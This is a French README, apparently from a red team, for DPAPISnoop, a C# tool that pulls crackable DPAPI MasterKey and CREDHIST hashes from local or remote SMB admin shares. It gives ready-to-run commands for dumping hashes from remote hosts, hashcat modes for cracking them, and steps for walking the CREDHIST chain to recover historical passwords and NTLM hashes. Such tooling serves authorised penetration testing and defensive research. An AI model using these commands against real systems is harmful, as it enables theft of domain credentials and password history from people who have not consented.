
Un outil C# pour générer des empreintes DPAPI craquables à partir des MasterKeys utilisateur.
Un outil C# qui extrait les hachages DPAPI craquables depuis les MasterKeys des utilisateurs et les fichiers CREDHIST.
Il cible à la fois la MasterKey ($DPAPImk$) et la chaîne CREDHIST complète ($credhist$), avec prise en charge des chemins locaux et des partages SMB distants.
$DPAPImk$)La MasterKey de chaque utilisateur se trouve sous \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\.
Le craquage donne le mot de passe de domaine de l'utilisateur et déverrouille tous les secrets protégés par DPAPI de cette époque.
La version du hachage dépend du système d'exploitation :
Le champ Context encode le type de compte :
$credhist$)Chaque entrée du fichier CREDHIST de chaque utilisateur. Chaque entrée est chiffrée avec un mot de passe précédent et, une fois déchiffrée, révèle le SHA1 + NTLM du mot de passe qui la précède.
Le craquage de la chaîne reconstitue tous les mots de passe historiques et leurs hachages NTLM.
Les entrées sont étiquetées dans le champ nom d'utilisateur afin que la sortie soit auto-descriptive :
alice[current]:$credhist$*... ← encrypted with the current password; crack this first
alice[prev1]:$credhist$*... ← encrypted with the previous password
alice[prev2]:$credhist$*...
La version du hachage des entrées dépend du système d'exploitation :
-m 15920-m 15930DPAPISnoop.exe [rootDir] [options]
rootDir est défini par défaut sur %HOMEDRIVE% s'il est omis. Les chemins UNC sont entièrement pris en charge.
| Option | Description |
|---|---|
| (aucun) | Affiche $DPAPImk$ et $credhist$ pour notre utilisateur |
--credhist-only / -c | Ignore la sortie MasterKey ; n'émet que les lignes $credhist$ |
--password <plaintext> / -p | Parcourt la chaîne CREDHIST à partir du mot de passe en clair actuel |
--sha1 <40-hex> | Parcourt la chaîne CREDHIST à partir d'un SHA1 connu du mot de passe actuel |
--pre1607 | Émet le contexte 2 (domaine pré-1607) au lieu du contexte 3 pour les hachages MasterKey de domaine |
# Local machine — dump everything (defaults to %HOMEDRIVE%)
DPAPISnoop.exe
# Local machine — walk CREDHIST chain from a known password
DPAPISnoop.exe C: --password Summer2026!
# Local machine — walk CREDHIST chain from a known SHA1
# (e.g. from sekurlsa::wdigest pwdhash or dpapi cache)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# Remote share — dump everything
DPAPISnoop.exe \\server01\c$
# Remote share — CREDHIST only, redirect hashes to file
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# Remote share — walk CREDHIST chain from a known password
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 local/domain pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 domain post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 local/domain pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 domain post-1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # 3DES entries (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # AES-256 entries (≥ Win10 20H2)
Après le craquage, transmettez le mot de passe récupéré à DPAPISnoop pour parcourir la chaîne complète et afficher chaque SHA1 et NTLM historique :
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
Consultez README
Cet effort de recherche et développement a été mené en collaboration entre un humain et des outils assistés par IA, en utilisant les modèles d'IA GPT-5.5 et Claude Sonnet 4.6.
Les modèles d'IA ont été utilisés pour assister la génération de code et le travail de rétro-ingénierie.
Cependant, toute l'orientation de la recherche, la validation, le débogage, les tests, l'analyse de sécurité et les décisions techniques finales ont été effectués par un humain (Imdefinelyhuman).
Tout le contenu, le code et l'analyse générés ont été examinés, validés, modifiés et intégrés manuellement dans le cadre d'un processus itératif guidé par un humain.
La déclaration ci-dessus est une façon alambiquée de dire aussi que le code contient des bugs et que vous l'utilisez à vos propres risques !
Lefteris (lefty) Panos @ LRQA Red Team 2026